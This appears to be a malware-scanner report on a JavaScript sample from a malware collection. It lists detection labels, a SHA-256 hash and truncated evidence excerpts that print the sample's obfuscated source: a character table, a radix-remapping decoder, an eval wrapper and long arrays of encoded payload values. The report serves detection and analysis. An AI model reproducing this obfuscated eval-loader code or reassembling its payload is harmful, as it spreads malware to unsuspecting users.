Suspicious ^80% javascript-malware-collection Download

20151210_dcd22896bedac63e803f07a676b348fd.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-2562ab8d5b751639e2f360a3c1595279e57d96bd084041d863f88f5142bffe74cda

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var jIyDJUkCTUcvq=[];
2mRFTVIR=(-750+750)/538;while(true){if(mRFTVIR>=(67808+544)/534){break;}jIyDJUkCTUcvq[mRFTVIR]=String.fromCharCode(mRFTVIR);mRFTVIR++;}
3function VaLPx(UNBJpCZskND,ELtIdirrsQhmc,twsBqiWw){mUNx=parseInt(UNBJpCZskND,ELtIdirrsQhmc);XxZFZ=mUNx.toString(twsBqiWw);return XxZFZ;}function cYTVVXEohmMnCxD(QKKEnxyBVeJObuSKq){eval(QKKEnxyBVeJObuSKq)}
4function wiffSTBGabVgIHCuEsHmlIOZgsXnxKCGJXozEGrpVAMNzCNDUUFZeK(evhXKDbiNMNsy,bKGMeAbMevxSGR){ return jIyDJUkCTUcvq[VaLPx(evhXKDbiNMNsy[bKGMeAbMevxSGR],(17796+404)/728,(2840+200)/304)];}
5function WvOEcqN(YlEtywugEMNSXXEuomlIHLnkeJmsuQXaJaJT) {return !isNaN(parseFloat(YlEtywugEMNSXXEuomlIHLnkeJmsuQXaJaJT)) && isFinite(YlEtywugEMNSXXEuomlIHLnkeJmsuQXaJaJT);}
6function OeWWMoGwSJl(csYYKyWz,SiDlrI){return csYYKyWz.split(SiDlrI)}
7var Z=[];Z[0]="d";Z[1]="a";Z[2]="d";Z[3]="a";Z[4]="4i";Z[5]="3m";Z[6]="4e";Z[7]="17";Z[8]="44";Z[9]="17";Z[10]="2b";Z …

Massive array index assignment line 8

8:4348… ";o[863]="4g";o[864]="4e";o[865]="4l";o[866]="17";o[867]="17";o[868]="4n";o[869]="d";o[870]="a";o[871]="17";o[872]="17";o[873]="17";o[874]="17";o[875]="17";o[876]="17";o[877]="17";o[878]="17";o[879]="17";o[880]="17";o[881]="45";o[882]="42";o[883]="17";o[884]="1f";o[885]="1f";o[886]="1f";o[887]="4a";o[888]="41";o[889]="4j";o[890]="17";o[891]="2i";o[892]="3m";o[893]="4g";o[894]="41";o[895]="1f";o[896]="1g";o …